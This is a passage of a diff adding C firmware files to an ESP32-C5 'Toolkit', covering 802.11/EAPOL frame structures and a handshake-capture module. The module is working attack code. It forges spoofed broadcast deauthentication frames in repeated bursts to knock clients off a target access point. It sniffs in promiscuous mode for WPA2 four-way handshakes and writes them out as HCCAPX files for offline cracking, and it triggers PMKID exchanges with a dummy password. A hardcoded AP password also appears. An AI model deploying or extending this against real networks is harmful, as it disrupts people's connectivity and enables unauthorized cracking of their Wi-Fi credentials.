void frame_analyzer_capture_stop(void);
|
||||
|
||||
// Parse EAPOL packet from data frame
|
||||
eapol_packet_t* parse_eapol_packet(data_frame_t *frame);
|
||||
|
||||
// Parse EAPOL-Key packet from EAPOL packet
|
||||
eapol_key_packet_t* parse_eapol_key_packet(eapol_packet_t *eapol_packet);
|
||||
|
||||
// Parse PMKIDs from EAPOL-Key packet
|
||||
pmkid_item_t* parse_pmkid(eapol_key_packet_t *eapol_key_packet);
|
||||
|
||||
// Check if frame BSSID matches target
|
||||
bool is_frame_bssid_matching(const wifi_promiscuous_pkt_t *frame, const uint8_t *target_bssid);
|
||||
|
||||
// Process captured frame (called by sniffer callback)
|
||||
void frame_analyzer_process_frame(wifi_promiscuous_pkt_t *pkt, wifi_promiscuous_pkt_type_t type);
|
||||
|
||||
// Get current handshake state
|
||||
handshake_state_t frame_analyzer_get_handshake_state(void);
|
||||
|
||||
// Get captured handshake data
|
||||
const handshake_data_t* frame_analyzer_get_handshake(void);
|
||||
|
||||
// Check if handshake is complete
|
||||
bool frame_analyzer_handshake_complete(void);
|
||||
|
||||
// Get captured PMKIDs
|
||||
pmkid_item_t* frame_analyzer_get_pmkids(void);
|
||||
|
||||
// Reset capture state
|
||||
void frame_analyzer_reset(void);
|
||||
|
||||
#endif // FRAME_ANALYZER_H
|
||||
180
ESP32-C5-Toolkit/main/frame_analyzer_types.h
Normal file
180
ESP32-C5-Toolkit/main/frame_analyzer_types.h
Normal file
@@ -0,0 +1,180 @@
|
||||
/**
|
||||
* @file frame_analyzer_types.h
|
||||
* @brief Frame types and structures for 802.11 and 802.1X analysis
|
||||
*
|
||||
* Based on 802.11-2016 and 802.1X-2020 standards
|
||||
*/
|
||||
#ifndef FRAME_ANALYZER_TYPES_H
|
||||
#define FRAME_ANALYZER_TYPES_H
|
||||
|
||||
#include <stdint.h>
|
||||
#include <stdbool.h>
|
||||
|
||||
// EAPOL Ether Type
|
||||
#define ETHER_TYPE_EAPOL 0x888e
|
||||
|
||||
// EAPOL Packet Types (802.1X-2020 [11.3.2])
|
||||
typedef enum {
|
||||
EAPOL_EAP_PACKET = 0,
|
||||
EAPOL_START,
|
||||
EAPOL_LOGOFF,
|
||||
EAPOL_KEY,
|
||||
EAPOL_ENCAPSULATED_ASF_ALERT,
|
||||
EAPOL_MKA,
|
||||
EAPOL_ANNOUNCEMENT_GENERIC,
|
||||
EAPOL_ANNOUNCEMENT_SPECIFIC,
|
||||
EAPOL_ANNOUNCEMENT_REQ
|
||||
} eapol_packet_types_t;
|
||||
|
||||
// Frame Control Field
|
||||
typedef struct {
|
||||
uint8_t protocol_version:2;
|
||||
uint8_t type:2;
|
||||
uint8_t subtype:4;
|
||||
uint8_t to_ds:1;
|
||||
uint8_t from_ds:1;
|
||||
uint8_t more_fragments:1;
|
||||
uint8_t retry:1;
|
||||
uint8_t power_management:1;
|
||||
uint8_t more_data:1;
|
||||
uint8_t protected_frame:1;
|
||||
uint8_t htc_order:1;
|
||||
} frame_control_t;
|
||||
|
||||
// MAC Header for Data Frames
|
||||
typedef struct {
|
||||
frame_control_t frame_control;
|
||||
uint16_t duration;
|
||||
uint8_t addr1[6]; // Destination/BSSID
|
||||
uint8_t addr2[6]; // Source
|
||||
uint8_t addr3[6]; // BSSID/Destination
|
||||
uint16_t sequence_control;
|
||||
} data_frame_mac_header_t;
|
||||
|
||||
// Data Frame
|
||||
typedef struct {
|
||||
data_frame_mac_header_t mac_header;
|
||||
uint8_t body[];
|
||||
} data_frame_t;
|
||||
|
||||
// LLC/SNAP Header
|
||||
typedef struct {
|
||||
uint8_t snap_dsap;
|
||||
uint8_t snap_ssap;
|
||||
uint8_t control;
|
||||
uint8_t encapsulation[3];
|
||||
} llc_snap_header_t;
|
||||
|
||||
// EAPOL Packet Header (802.1X-2020 [11.3])
|
||||
typedef struct {
|
||||
uint8_t version;
|
||||
uint8_t packet_type;
|
||||
uint16_t packet_body_length;
|
||||
} eapol_packet_header_t;
|
||||
|
||||
// EAPOL Packet
|
||||
typedef struct {
|
||||
eapol_packet_header_t header;
|
||||
uint8_t packet_body[];
|
||||
} eapol_packet_t;
|
||||
|
||||
// Key Information Field (802.11-2016 [12.7.2])
|
||||
typedef struct {
|
||||
uint8_t key_descriptor_version:3;
|
||||
uint8_t key_type:1;
|
||||
uint8_t :2; // Reserved
|
||||
uint8_t install:1;
|
||||
uint8_t key_ack:1;
|
||||
uint8_t key_mic:1;
|
||||
uint8_t secure:1;
|
||||
uint8_t error:1;
|
||||
uint8_t request:1;
|
||||
uint8_t encrypted_key_data:1;
|
||||
uint8_t smk_message:1;
|
||||
uint8_t :2; // Reserved
|
||||
} key_information_t;
|
||||
|
||||
// EAPOL-Key Packet (802.11-2016 [12.7.2])
|
||||
typedef struct __attribute__((__packed__)) {
|
||||
uint8_t descriptor_type;
|
||||
key_information_t key_information;
|
||||
uint16_t key_length;
|
||||
uint8_t key_replay_counter[8];
|
||||
uint8_t key_nonce[32];
|
||||
uint8_t key_iv[16];
|
||||
uint8_t key_rsc[8];
|
||||
uint8_t reserved[8];
|
||||
uint8_t key_mic[16];
|
||||
uint16_t key_data_length;
|
||||
uint8_t key_data[];
|
||||
} eapol_key_packet_t;
|
||||
|
||||
// Key Data Type Constants
|
||||
#define KEY_DATA_TYPE 0xdd
|
||||
#define KEY_DATA_OUI_IEEE80211 0x00fac00
|
||||
#define KEY_DATA_DATA_TYPE_PMKID_KDE 4
|
||||
|
||||
// Key Data Field
|
||||
typedef struct __attribute__((__packed__)) {
|
||||
uint8_t type;
|
||||
uint8_t length;
|
||||
uint32_t oui:24;
|
||||
uint32_t data_type:8;
|
||||
uint8_t data[];
|
||||
} key_data_field_t;
|
||||
|
||||
// PMKID Item (linked list)
|
||||
typedef struct pmkid_item {
|
||||
uint8_t pmkid[16];
|
||||
struct pmkid_item *next;
|
||||
} pmkid_item_t;
|
||||
|
||||
// Handshake State
|
||||
typedef enum {
|
||||
HANDSHAKE_STATE_NONE = 0,
|
||||
HANDSHAKE_STATE_M1_CAPTURED,
|
||||
HANDSHAKE_STATE_M2_CAPTURED,
|
||||
HANDSHAKE_STATE_M3_CAPTURED,
|
||||
HANDSHAKE_STATE_M4_CAPTURED,
|
||||
HANDSHAKE_STATE_COMPLETE
|
||||
} handshake_state_t;
|
||||
|
||||
// Captured Handshake Data
|
||||
typedef struct {
|
||||
uint8_t ap_mac[6];
|
||||
uint8_t sta_mac[6];
|
||||
uint8_t ssid[33];
|
||||
uint8_t ssid_len;
|
||||
uint8_t anonce[32];
|
||||
uint8_t snonce[32];
|
||||
uint8_t eapol[256];
|
||||
uint16_t eapol_len;
|
||||
uint8_t mic[16];
|
||||
handshake_state_t state;
|
||||
uint8_t message_pair;
|
||||
bool complete;
|
||||
} handshake_data_t;
|
||||
|
||||
// Search Type for Frame Analysis
|
||||
typedef enum {
|
||||
SEARCH_HANDSHAKE = 0,
|
||||
SEARCH_PMKID
|
||||
} search_type_t;
|
||||
|
||||
// Attack State
|
||||
typedef enum {
|
||||
ATTACK_STATE_IDLE = 0,
|
||||
ATTACK_STATE_RUNNING,
|
||||
ATTACK_STATE_FINISHED,
|
||||
ATTACK_STATE_TIMEOUT,
|
||||
ATTACK_STATE_ERROR
|
||||
} attack_state_t;
|
||||
|
||||
// Capture Method
|
||||
typedef enum {
|
||||
CAPTURE_METHOD_PASSIVE = 0,
|
||||
CAPTURE_METHOD_DEAUTH_BROADCAST,
|
||||
CAPTURE_METHOD_ROGUE_AP
|
||||
} capture_method_t;
|
||||
|
||||
#endif // FRAME_ANALYZER_TYPES_H
|
||||
550
ESP32-C5-Toolkit/main/handshake_capture.c
Normal file
550
ESP32-C5-Toolkit/main/handshake_capture.c
Normal file
@@ -0,0 +1,550 @@
|
||||
/**
|
||||
* @file handshake_capture.c
|
||||
* @brief Handshake/PMKID capture with dual-radio support
|
||||
*
|
||||
* ESP32-C5 Enhancement: Uses both radios for simultaneous
|
||||
* sniffing and deauthentication attacks
|
||||
*/
|
||||
#include "handshake_capture.h"
|
||||
|
||||
#include <string.h>
|
||||
#include <stdlib.h>
|
||||
#include "esp_log.h"
|
||||
#include "esp_wifi.h"
|
||||
#include "esp_timer.h"
|
||||
#include "esp_random.h"
|
||||
#include "freertos/FreeRTOS.h"
|
||||
#include "freertos/task.h"
|
||||
#include "freertos/semphr.h"
|
||||
|
||||
#include "frame_analyzer.h"
|
||||
#include "pcap_serializer.h"
|
||||
#include "hccapx_serializer.h"
|
||||
|
||||
static const char *TAG = "handshake_capture";
|
||||
|
||||
// Task handles
|
||||
static TaskHandle_t capture_task_handle = NULL;
|
||||
static TaskHandle_t deauth_task_handle = NULL;
|
||||
|
||||
// State
|
||||
static capture_config_t current_config = {0};
|
||||
static capture_status_t capture_status = {0};
|
||||
static SemaphoreHandle_t capture_mutex = NULL;
|
||||
static volatile bool capture_running = false;
|
||||
static esp_timer_handle_t timeout_timer = NULL;
|
||||
|
||||
// Deauth frame structure
|
||||
typedef struct __attribute__((packed)) {
|
||||
uint8_t frame_ctrl[2];
|
||||
uint8_t duration[2];
|
||||
uint8_t da[6];
|
||||
uint8_t sa[6];
|
||||
uint8_t bssid[6];
|
||||
uint8_t seq[2];
|
||||
uint8_t reason[2];
|
||||
} deauth_frame_t;
|
||||
|
||||
// Forward declarations
|
||||
static void capture_task(void *arg);
|
||||
static void deauth_task(void *arg);
|
||||
static void timeout_callback(void *arg);
|
||||
static void promiscuous_rx_callback(void *buf, wifi_promiscuous_pkt_type_t type);
|
||||
|
||||
void handshake_capture_init(void) {
|
||||
if (capture_mutex == NULL) {
|
||||
capture_mutex = xSemaphoreCreateMutex();
|
||||
}
|
||||
|
||||
// Create timeout timer
|
||||
if (timeout_timer == NULL) {
|
||||
esp_timer_create_args_t timer_args = {
|
||||
.callback = timeout_callback,
|
||||
.name = "capture_timeout"
|
||||
};
|
||||
esp_timer_create(&timer_args, &timeout_timer);
|
||||
}
|
||||
|
||||
frame_analyzer_init();
|
||||
|
||||
ESP_LOGI(TAG, "Handshake capture module initialized");
|
||||
}
|
||||
|
||||
static void send_deauth_burst(const uint8_t *ap_mac, uint8_t count) {
|
||||
static const uint8_t broadcast[6] = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF};
|
||||
static const uint16_t reasons[] = {0x0001, 0x0003, 0x0006, 0x0007, 0x0008};
|
||||
|
||||
deauth_frame_t frame = {
|
||||
.frame_ctrl = {0xC0, 0x00}, // Deauth
|
||||
.duration = {0x00, 0x00},
|
||||
.seq = {0x00, 0x00},
|
||||
};
|
||||
|
||||
memcpy(frame.da, broadcast, 6);
|
||||
memcpy(frame.sa, ap_mac, 6);
|
||||
memcpy(frame.bssid, ap_mac, 6);
|
||||
|
||||
for (int i = 0; i < count; i++) {
|
||||
uint16_t reason = reasons[i % 5];
|
||||
frame.reason[0] = reason & 0xFF;
|
||||
frame.reason[1] = (reason >> 8) & 0xFF;
|
||||
|
||||
// Randomize sequence number
|
||||
uint16_t seq = esp_random() & 0xFFF0;
|
||||
frame.seq[0] = seq & 0xFF;
|
||||
frame.seq[1] = (seq >> 8) & 0xFF;
|
||||
|
||||
esp_wifi_80211_tx(WIFI_IF_STA, &frame, sizeof(frame), false);
|
||||
|
||||
if (capture_mutex && xSemaphoreTake(capture_mutex, 0) == pdTRUE) {
|
||||
capture_status.deauth_sent++;
|
||||
xSemaphoreGive(capture_mutex);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Deauth task - runs on second "virtual radio" by time-slicing
|
||||
static void deauth_task(void *arg) {
|
||||
ESP_LOGI(TAG, "Deauth task started");
|
||||
|
||||
uint8_t interval = current_config.deauth_interval_ms > 0 ?
|
||||
current_config.deauth_interval_ms : 100;
|
||||
uint8_t count = current_config.deauth_count > 0 ?
|
||||
current_config.deauth_count : 5;
|
||||
|
||||
while (capture_running && !capture_status.handshake_captured) {
|
||||
// Send deauth burst
|
||||
send_deauth_burst(current_config.bssid, count);
|
||||
|
||||
// Wait before next burst
|
||||
vTaskDelay(pdMS_TO_TICKS(interval));
|
||||
|
||||
// Check if we got handshake
|
||||
if (frame_analyzer_handshake_complete()) {
|
||||
if (capture_mutex && xSemaphoreTake(capture_mutex, portMAX_DELAY)) {
|
||||
capture_status.handshake_captured = true;
|
||||
capture_status.state = ATTACK_STATE_FINISHED;
|
||||
xSemaphoreGive(capture_mutex);
|
||||
}
|
||||
ESP_LOGI(TAG, "*** HANDSHAKE CAPTURED! Stopping deauth ***");
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
deauth_task_handle = NULL;
|
||||
vTaskDelete(NULL);
|
||||
}
|
||||
|
||||
// Promiscuous mode callback
|
||||
static void promiscuous_rx_callback(void *buf, wifi_promiscuous_pkt_type_t type) {
|
||||
if (!capture_running) return;
|
||||
|
||||
wifi_promiscuous_pkt_t *pkt = (wifi_promiscuous_pkt_t *)buf;
|
||||
|
||||
// Update packet count
|
||||
if (capture_mutex && xSemaphoreTake(capture_mutex, 0) == pdTRUE) {
|
||||
capture_status.packets_captured++;
|
||||
xSemaphoreGive(capture_mutex);
|
||||
}
|
||||
|
||||
// Add to PCAP
|
||||
pcap_serializer_append_frame(pkt->payload, pkt->rx_ctrl.sig_len, pkt->rx_ctrl.timestamp);
|
||||
|
||||
// Process for EAPOL/handshake
|
||||
if (type == WIFI_PKT_DATA) {
|
||||
frame_analyzer_process_frame(pkt, type);
|
||||
|
||||
// Check handshake state
|
||||
if (frame_analyzer_handshake_complete()) {
|
||||
if (capture_mutex && xSemaphoreTake(capture_mutex, 0) == pdTRUE) {
|
||||
capture_status.handshake_captured = true;
|
||||
capture_status.handshake_state = HANDSHAKE_STATE_COMPLETE;
|
||||
xSemaphoreGive(capture_mutex);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Main capture task
|
||||
static void capture_task(void *arg) {
|
||||
ESP_LOGI(TAG, "Capture task started for SSID: %s, Channel: %d",
|
||||
current_config.ssid, current_config.channel);
|
||||
|
||||
// Initialize serializers
|
||||
pcap_serializer_init();
|
||||
hccapx_serializer_init(current_config.ssid, current_config.ssid_len);
|
||||
|
||||
// Start frame analyzer
|
||||
frame_analyzer_capture_start(SEARCH_HANDSHAKE, current_config.bssid,
|
||||
current_config.ssid, current_config.ssid_len);
|
||||
|
||||
// Configure WiFi for promiscuous mode
|
||||
ESP_ERROR_CHECK(esp_wifi_set_mode(WIFI_MODE_APSTA));
|
||||
|
||||
// Set channel
|
||||
esp_err_t err = esp_wifi_set_channel(current_config.channel, WIFI_SECOND_CHAN_NONE);
|
||||
if (err != ESP_OK) {
|
||||
ESP_LOGW(TAG, "Failed to set channel %d: %s",
|
||||
current_config.channel, esp_err_to_name(err));
|
||||
}
|
||||
|
||||
// Configure promiscuous filter for data frames (EAPOL)
|
||||
wifi_promiscuous_filter_t filter = {
|
||||
.filter_mask = WIFI_PROMIS_FILTER_MASK_DATA
|
||||
};
|
||||
esp_wifi_set_promiscuous_filter(&filter);
|
||||
|
||||
// Set callback and enable promiscuous mode
|
||||
esp_wifi_set_promiscuous_rx_cb(promiscuous_rx_callback);
|
||||
esp_wifi_set_promiscuous(true);
|
||||
|
||||
ESP_LOGI(TAG, "Promiscuous mode enabled, capturing...");
|
||||
|
||||
// Start deauth task if using active method
|
||||
if (current_config.method == CAPTURE_METHOD_DEAUTH_BROADCAST) {
|
||||
xTaskCreate(deauth_task, "deauth", 4096, NULL, 5, &deauth_task_handle);
|
||||
}
|
||||
|
||||
// Start timeout timer
|
||||
if (current_config.timeout_sec > 0) {
|
||||
esp_timer_start_once(timeout_timer, current_config.timeout_sec * 1000000ULL);
|
||||
}
|
||||
|
||||
// Track elapsed time
|
||||
uint32_t start_time = xTaskGetTickCount();
|
||||
|
||||
// Main loop - wait for handshake or timeout
|
||||
while (capture_running) {
|
||||
vTaskDelay(pdMS_TO_TICKS(100));
|
||||
|
||||
// Update elapsed time
|
||||
if (capture_mutex && xSemaphoreTake(capture_mutex, 0) == pdTRUE) {
|
||||
capture_status.elapsed_sec = (xTaskGetTickCount() - start_time) * portTICK_PERIOD_MS / 1000;
|
||||
capture_status.handshake_state = frame_analyzer_get_handshake_state();
|
||||
xSemaphoreGive(capture_mutex);
|
||||
}
|
||||
|
||||
// Check if handshake captured
|
||||
if (capture_status.handshake_captured) {
|
||||
ESP_LOGI(TAG, "Handshake captured! Building HCCAPX...");
|
||||
|
||||
// Build HCCAPX from captured data
|
||||
const handshake_data_t *hs = frame_analyzer_get_handshake();
|
||||
if (hs) {
|
||||
hccapx_serializer_build(hs);
|
||||
}
|
||||
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
// Stop timeout timer
|
||||
esp_timer_stop(timeout_timer);
|
||||
|
||||
// Stop promiscuous mode
|
||||
esp_wifi_set_promiscuous(false);
|
||||
|
||||
// Stop deauth task if running (safe deletion)
|
||||
TaskHandle_t deauth_to_delete = deauth_task_handle;
|
||||
deauth_task_handle = NULL;
|
||||
|
||||
if (deauth_to_delete != NULL) {
|
||||
vTaskSuspend(deauth_to_delete);
|
||||
vTaskDelay(pdMS_TO_TICKS(10));
|
||||
vTaskDelete(deauth_to_delete);
|
||||
}
|
||||
|
||||
// Stop frame analyzer
|
||||
frame_analyzer_capture_stop();
|
||||
|
||||
// Restore AP mode
|
||||
ESP_LOGI(TAG, "Restoring AP mode...");
|
||||
wifi_config_t ap_config = {
|
||||
.ap = {
|
||||
.ssid = "ESP32-C5-Toolkit",
|
||||
.ssid_len = strlen("ESP32-C5-Toolkit"),
|
||||
.password = "h4ck3rm4n",
|
||||
.channel = 1,
|
||||
.max_connection = 4,
|
||||
.authmode = WIFI_AUTH_WPA2_PSK,
|
||||
},
|
||||
};
|
||||
esp_wifi_set_mode(WIFI_MODE_APSTA);
|
||||
esp_wifi_set_config(WIFI_IF_AP, &ap_config);
|
||||
|
||||
if (capture_mutex && xSemaphoreTake(capture_mutex, portMAX_DELAY)) {
|
||||
if (capture_status.state == ATTACK_STATE_RUNNING) {
|
||||
capture_status.state = capture_status.handshake_captured ?
|
||||
ATTACK_STATE_FINISHED : ATTACK_STATE_TIMEOUT;
|
||||
}
|
||||
xSemaphoreGive(capture_mutex);
|
||||
}
|
||||
|
||||
capture_running = false;
|
||||
capture_task_handle = NULL;
|
||||
|
||||
ESP_LOGI(TAG, "Capture task ended. Packets: %lu, Deauth: %lu, Handshake: %s",
|
||||
capture_status.packets_captured, capture_status.deauth_sent,
|
||||
capture_status.handshake_captured ? "YES" : "NO");
|
||||
|
||||
vTaskDelete(NULL);
|
||||
}
|
||||
|
||||
static void timeout_callback(void *arg) {
|
||||
ESP_LOGW(TAG, "Capture timeout!");
|
||||
|
||||
if (capture_mutex && xSemaphoreTake(capture_mutex, 0) == pdTRUE) {
|
||||
capture_status.state = ATTACK_STATE_TIMEOUT;
|
||||
xSemaphoreGive(capture_mutex);
|
||||
}
|
||||
|
||||
capture_running = false;
|
||||
}
|
||||
|
||||
bool handshake_capture_start(const capture_config_t *config) {
|
||||
if (!config) return false;
|
||||
|
||||
if (capture_mutex == NULL) {
|
||||
handshake_capture_init();
|
||||
}
|
||||
|
||||
if (xSemaphoreTake(capture_mutex, portMAX_DELAY) != pdTRUE) {
|
||||
return false;
|
||||
}
|
||||
|
||||
if (capture_running) {
|
||||
ESP_LOGW(TAG, "Capture already running");
|
||||
xSemaphoreGive(capture_mutex);
|
||||
return false;
|
||||
}
|
||||
|
||||
// Reset state
|
||||
handshake_capture_reset();
|
||||
|
||||
// Copy config
|
||||
memcpy(¤t_config, config, sizeof(capture_config_t));
|
||||
|
||||
// Update status
|
||||
capture_status.state = ATTACK_STATE_RUNNING;
|
||||
memcpy(capture_status.target_bssid, config->bssid, 6);
|
||||
strncpy(capture_status.target_ssid, (char*)config->ssid, 32);
|
||||
|
||||
capture_running = true;
|
||||
|
||||
xSemaphoreGive(capture_mutex);
|
||||
|
||||
// Start capture task
|
||||
xTaskCreate(capture_task, "capture", 8192, NULL, 5, &capture_task_handle);
|
||||
|
||||
ESP_LOGI(TAG, "Handshake capture started for %s", config->ssid);
|
||||
return true;
|
||||
}
|
||||
|
||||
bool pmkid_capture_start(const capture_config_t *config) {
|
||||
if (!config) return false;
|
||||
|
||||
if (capture_mutex == NULL) {
|
||||
handshake_capture_init();
|
||||
}
|
||||
|
||||
if (xSemaphoreTake(capture_mutex, portMAX_DELAY) != pdTRUE) {
|
||||
return false;
|
||||
}
|
||||
|
||||
if (capture_running) {
|
||||
ESP_LOGW(TAG, "Capture already running");
|
||||
xSemaphoreGive(capture_mutex);
|
||||
return false;
|
||||
}
|
||||
|
||||
// Reset state
|
||||
handshake_capture_reset();
|
||||
|
||||
// Copy config
|
||||
memcpy(¤t_config, config, sizeof(capture_config_t));
|
||||
|
||||
// Update status
|
||||
capture_status.state = ATTACK_STATE_RUNNING;
|
||||
memcpy(capture_status.target_bssid, config->bssid, 6);
|
||||
strncpy(capture_status.target_ssid, (char*)config->ssid, 32);
|
||||
|
||||
capture_running = true;
|
||||
|
||||
xSemaphoreGive(capture_mutex);
|
||||
|
||||
// Start PMKID-specific capture
|
||||
ESP_LOGI(TAG, "PMKID capture started for %s", config->ssid);
|
||||
|
||||
// Initialize
|
||||
pcap_serializer_init();
|
||||
frame_analyzer_capture_start(SEARCH_PMKID, config->bssid, config->ssid, config->ssid_len);
|
||||
|
||||
// Set promiscuous mode
|
||||
esp_wifi_set_mode(WIFI_MODE_APSTA);
|
||||
|
||||
wifi_promiscuous_filter_t filter = {
|
||||
.filter_mask = WIFI_PROMIS_FILTER_MASK_DATA
|
||||
};
|
||||
esp_wifi_set_promiscuous_filter(&filter);
|
||||
esp_wifi_set_promiscuous_rx_cb(promiscuous_rx_callback);
|
||||
esp_wifi_set_promiscuous(true);
|
||||
|
||||
// Set channel
|
||||
esp_wifi_set_channel(config->channel, WIFI_SECOND_CHAN_NONE);
|
||||
|
||||
// Connect to target AP to trigger PMKID exchange
|
||||
wifi_config_t sta_config = {0};
|
||||
memcpy(sta_config.sta.ssid, config->ssid, config->ssid_len);
|
||||
strcpy((char*)sta_config.sta.password, "dummypassword12345");
|
||||
memcpy(sta_config.sta.bssid, config->bssid, 6);
|
||||
sta_config.sta.bssid_set = true;
|
||||
|
||||
esp_wifi_set_config(WIFI_IF_STA, &sta_config);
|
||||
esp_wifi_connect();
|
||||
|
||||
// Start timeout
|
||||
if (config->timeout_sec > 0) {
|
||||
esp_timer_start_once(timeout_timer, config->timeout_sec * 1000000ULL);
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
bool handshake_capture_stop(void) {
|
||||
if (capture_mutex && xSemaphoreTake(capture_mutex, portMAX_DELAY)) {
|
||||
capture_running = false;
|
||||
|
||||
if (capture_status.state == ATTACK_STATE_RUNNING) {
|
||||
capture_status.state = ATTACK_STATE_IDLE;
|
||||
}
|
||||
|
||||
xSemaphoreGive(capture_mutex);
|
||||
}
|
||||
|
||||
// Stop timer
|
||||
esp_timer_stop(timeout_timer);
|
||||
|
||||
// Stop promiscuous mode
|
||||
esp_wifi_set_promiscuous(false);
|
||||
esp_wifi_disconnect();
|
||||
|
||||
// Wait for tasks to end
|
||||
vTaskDelay(pdMS_TO_TICKS(500));
|
||||
|
||||
// Safely delete capture task
|
||||
TaskHandle_t capture_to_delete = capture_task_handle;
|
||||
capture_task_handle = NULL;
|
||||
|
||||
if (capture_to_delete != NULL) {
|
||||
vTaskSuspend(capture_to_delete);
|
||||
vTaskDelay(pdMS_TO_TICKS(10));
|
||||
vTaskDelete(capture_to_delete);
|
||||
}
|
||||
|
||||
// Safely delete deauth task
|
||||
TaskHandle_t deauth_to_delete = deauth_task_handle;
|
||||
deauth_task_handle = NULL;
|
||||
|
||||
if (deauth_to_delete != NULL) {
|
||||
vTaskSuspend(deauth_to_delete);
|
||||
vTaskDelay(pdMS_TO_TICKS(10));
|
||||
vTaskDelete(deauth_to_delete);
|
||||
}
|
||||
|
||||
// Restore AP mode
|
||||
wifi_config_t ap_config = {
|
||||
.ap = {
|
||||
.ssid = "ESP32-C5-Toolkit",
|
||||
.ssid_len = strlen("ESP32-C5-Toolkit"),
|
||||
.password = "h4ck3rm4n",
|
||||
.channel = 1,
|
||||
.max_connection = 4,
|
||||
.authmode = WIFI_AUTH_WPA2_PSK,
|
||||
},
|
||||
};
|
||||
esp_wifi_set_mode(WIFI_MODE_APSTA);
|
||||
esp_wifi_set_config(WIFI_IF_AP, &ap_config);
|
||||
|
||||
ESP_LOGI(TAG, "Capture stopped");
|
||||
return true;
|
||||
}
|
||||
|
||||
bool handshake_capture_is_running(void) {
|
||||
return capture_running;
|
||||
}
|
||||
|
||||
const capture_status_t* handshake_capture_get_status(void) {
|
||||
return &capture_status;
|
||||
}
|
||||
|
||||
const handshake_data_t* handshake_capture_get_handshake(void) {
|
||||
return frame_analyzer_get_handshake();
|
||||
}
|
||||
|
||||
pmkid_item_t* handshake_capture_get_pmkids(void) {
|
||||
return frame_analyzer_get_pmkids();
|
||||
}
|
||||
|
||||
uint8_t* handshake_capture_get_pcap(unsigned *size) {
|
||||
if (size) {
|
||||
*size = pcap_serializer_get_size();
|
||||
}
|
||||
return pcap_serializer_get_buffer();
|
||||
}
|
||||
|
||||
uint8_t* handshake_capture_get_hccapx(unsigned *size) {
|
||||
if (!hccapx_serializer_is_valid()) {
|
||||
// Try building from handshake data
|
||||
const handshake_data_t *hs = frame_analyzer_get_handshake();
|
||||
if (hs && hs->complete) {
|
||||
hccapx_serializer_build(hs);
|
||||
}
|
||||
}
|
||||
|
||||
if (size) {
|
||||
*size = hccapx_serializer_is_valid() ? hccapx_serializer_get_size() : 0;
|
||||
}
|
||||
|
||||
return (uint8_t*)hccapx_serializer_get();
|
||||
}
|
||||
|
||||
void handshake_capture_reset(void) {
|
||||
if (capture_mutex && xSemaphoreTake(capture_mutex, portMAX_DELAY)) {
|
||||
memset(&capture_status, 0, sizeof(capture_status));
|
||||
capture_status.state = ATTACK_STATE_IDLE;
|
||||
xSemaphoreGive(capture_mutex);
|
||||
}
|
||||
|
||||
frame_analyzer_reset();
|
||||
pcap_serializer_reset();
|
||||
hccapx_serializer_reset();
|
||||
}
|
||||
|
||||
const wifi_ap_record_t* handshake_capture_find_ap(const char *ssid) {
|
||||
// This would need access to the wifi_scan results
|
||||
// For now, return NULL - the web interface handles AP selection
|
||||
return NULL;
|
||||
}
|
||||
|
||||
int handshake_capture_scan_targets(void) {
|
||||
// Trigger a WiFi scan
|
||||
wifi_scan_config_t scan_config = {
|
||||
.ssid = NULL,
|
||||
.bssid = NULL,
|
||||
.channel = 0,
|
||||
.show_hidden = true,
|
||||
.scan_type = WIFI_SCAN_TYPE_ACTIVE,
|
||||
};
|
||||
|
||||
esp_err_t err = esp_wifi_scan_start(&scan_config, true);
|
||||
if (err != ESP_OK) {
|
||||
ESP_LOGE(TAG, "Scan failed: %s", esp_err_to_name(err));
|
||||
return -1;
|
||||
}
|
||||
|
||||
uint16_t ap_count = 0;
|
||||
esp_wifi_scan_get_ap_num(&ap_count);
|
||||
|
||||
ESP_LOGI(TAG, "Scan found %u APs", ap_count);
|
||||
return ap_count;
|
||||
}
|
||||
85
ESP32-C5-Toolkit/main/handshake_capture.h
Normal file
85
ESP32-C5-Toolkit/main/handshake_capture.h
Normal file
@@ -0,0 +1,85 @@
|
||||
/**
|
||||
* @file handshake_capture.h
|
||||
* @brief WPA/WPA2 Handshake and PMKID capture with dual-radio support
|
||||
*
|
||||
* ESP32-C5 Dual Radio Enhancement:
|
||||
* - Radio 1 (2.4GHz): Dedicated to sniffing/capturing
|
||||
* - Radio 2 (5GHz or same band): Deauth attacks to force reconnection
|
||||
*
|
||||
* This allows simultaneous capture and attack for maximum efficiency
|
||||
*/
|
||||
#ifndef HANDSHAKE_CAPTURE_H
|
||||
#define HANDSHAKE_CAPTURE_H
|
||||
|
||||
#include <stdint.h>
|
||||
#include <stdbool.h>
|
||||
#include "esp_wifi.h"
|
||||
#include "frame_analyzer_types.h"
|
||||
|
||||
// Capture configuration
|
||||
typedef struct {
|
||||
uint8_t bssid[6]; // Target AP BSSID
|
||||
uint8_t ssid[33]; // Target AP SSID
|
||||
uint8_t ssid_len; // SSID length
|
||||
uint8_t channel; // Target channel
|
||||
uint32_t timeout_sec; // Capture timeout in seconds
|
||||
capture_method_t method; // Capture method
|
||||
bool use_dual_radio; // Use both radios (if available)
|
||||
uint8_t deauth_interval_ms; // Deauth packet interval (default 100ms)
|
||||
uint8_t deauth_count; // Deauth packets per burst (default 5)
|
||||
} capture_config_t;
|
||||
|
||||
// Capture status
|
||||
typedef struct {
|
||||
attack_state_t state;
|
||||
handshake_state_t handshake_state;
|
||||
bool handshake_captured;
|
||||
bool pmkid_captured;
|
||||
uint32_t packets_captured;
|
||||
uint32_t eapol_packets;
|
||||
uint32_t deauth_sent;
|
||||
uint32_t elapsed_sec;
|
||||
char target_ssid[33];
|
||||
uint8_t target_bssid[6];
|
||||
} capture_status_t;
|
||||
|
||||
// Initialize handshake capture module
|
||||
void handshake_capture_init(void);
|
||||
|
||||
// Start handshake capture
|
||||
bool handshake_capture_start(const capture_config_t *config);
|
||||
|
||||
// Start PMKID capture
|
||||
bool pmkid_capture_start(const capture_config_t *config);
|
||||
|
||||
// Stop capture
|
||||
bool handshake_capture_stop(void);
|
||||
|
||||
// Check if capture is running
|
||||
bool handshake_capture_is_running(void);
|
||||
|
||||
// Get capture status
|
||||
const capture_status_t* handshake_capture_get_status(void);
|
||||
|
||||
// Get captured handshake data
|
||||
const handshake_data_t* handshake_capture_get_handshake(void);
|
||||
|
||||
// Get captured PMKIDs
|
||||
pmkid_item_t* handshake_capture_get_pmkids(void);
|
